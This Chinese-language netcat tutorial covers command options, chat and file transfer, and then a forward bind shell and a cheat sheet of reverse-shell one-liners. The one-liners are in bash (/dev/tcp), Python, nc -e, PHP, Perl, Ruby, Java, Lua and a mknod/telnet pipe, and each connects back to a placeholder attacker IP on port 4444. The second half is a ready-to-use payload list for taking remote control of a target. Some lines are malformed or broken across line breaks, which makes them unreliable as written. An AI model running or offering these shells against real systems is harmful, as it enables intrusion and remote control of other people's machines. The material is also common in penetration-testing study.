1、nc的概念
1.什么是nc
nc是netcat的简写,有着网络界的瑞士军刀美誉。因为它短小精悍、功能实用,被设计为一个简单、可靠的网络工具
2.nc的作用
(1)实现任意TCP/UDP端口的侦听,nc可以作为server以TCP或UDP方式侦听指定端口
(2)端口的扫描,nc可以作为client发起TCP或UDP连接
(3)机器之间传输文件
(4)机器之间网络测速
2、nc命令参数说明
1) -l
用于指定nc将处于侦听模式。指定该参数,则意味着nc被当作server,侦听并接受连接,而非向其它地址发起连接。
2) -p <port>
指定端口,暂未用到(老版本的nc可能需要在端口号前加-p参数,下面测试环境是centos6.6,nc版本是nc-1.84,未用到-p参数)
3) -s
指定发送数据的源IP地址,适用于多网卡机
4) -u
指定nc使用UDP协议,默认为TCP
5) -v
输出交互或出错信息,新手调试时尤为有用
6)-w
超时秒数,后面跟数字
7)-z
表示zero,表示扫描时不发送任何数据
3、nc建立CS端
1.nc实现消息共享
服务端启动监听
nc -l 4444
客户端进行连接
nc IP 4444
客户端与服务端实现消息共享,即客户端的输入服务端可见,服务端的输入客户端可见。
2. NC实现文件传输
和局域网聊天是原理一样的,不过把输入输出重定向到文件
服务端设置监听
nc -l 9999 > recv.txt
客户端发送:
nc IP 9999 < send.txt
注:服务端和客户端都可做为接收端和发送端,发送端必须要有文件,接收端可以不创建文件,当接受端不创建文件时,会自动创建并将发送端地内容保存到文件,如果已存在文件将会覆盖其中内容
4. 正向反弹shell
在服务端(靶标机)启动监听
nc -lvvp 4444 -e /bin/bash
在客户端(攻击机)连接
nc IP 4444
这种连接又称正向连接,攻击机主动连接靶标机。
连接成功后便可执行命令。
5、反向反弹shell
1.bash版本
本地作为服务端开启监听(攻击机)
nc -lvnp 4444
或nc -vvlp 4444
目标机开启反弹
bash -i >& /dev/tcp/IP/4444 0>&1 bash -i 创建一个交互式的bash shell &> 将标准输出和标准错误都重定向到我们指定的文件 /dev/tcp/IP/4444 建立连接到IP的4444端口 0>&1 将文件描述符0重定向为文件描述符1,也就是标准输入被重定向为标准输出
2.python 反弹
本地作为服务器开启监听
nc -lvvp 444
靶标作为客户端开启反弹
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('IP',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
3.nc反弹
本地作为服务器开启监听
nc -lvvp 4444
靶标机作为客户端反弹shell
nc -e /bin/bash IP 4444
4. php反弹
本地作为服务器开启监听
nc -lvnp 4444
靶标机作为客户端反弹shell
php- 'exec("/bin/bash -i >& /dev/tcp/ip/4444")'
或
php -r '$sock=fsockopen("IP",4444);exec("/bin/bash -i 0>&3 1>&3 2>&3");'
5、perl反弹
本地作为服务器开启监听
nc -lvvp 4444
靶标机作为客户端反弹shell
perl -e 'use Socket;$i="IP";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
6、ruby反弹
本地作为服务器开启监听端口
nc -lvvp 4444
靶标作为客户端反弹shell
ruby -rsocket -e'f=TCPSocket.open("IP",4444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
7.Java反弹
本地作为服务器开启监听端口
nc -lvvp 4444
靶标作为客户端反弹shell
r = Runtime.getRuntime()
p = r.
exec
([
"/bin/bash"
,
"-c"
,
"exec 5<>/dev/tcp/IP/4444;cat <&5 | while read line; do $line 2>&5 >&5; done"
] as String[])
p.waitFor()
8.lua版本
本地作为服务器开启监听端口
nc -lvvp 4444
靶标作为客户端反弹shell
lua -e "require('socket');require('os');t=socket.tcp();t:connect('IP','4444');os.execute('/bin/sh -i <&3 >&3 2>&3');"
9.nc不使用-e参数反弹
本地作为服务器开启监听端口
nc -lvvp 4444
靶标作为客户端反弹shell
mknod
/tmp/backpipe
p
/bin/sh
0<
/tmp/backpipe
| nc IP 4444 1>
/tmp/backpipe
/bin/bash
-i >
/dev/tcp/IP
/4444
0<&1 2>&1
mknod
backpipe p && telnet IP 4444 0backpipe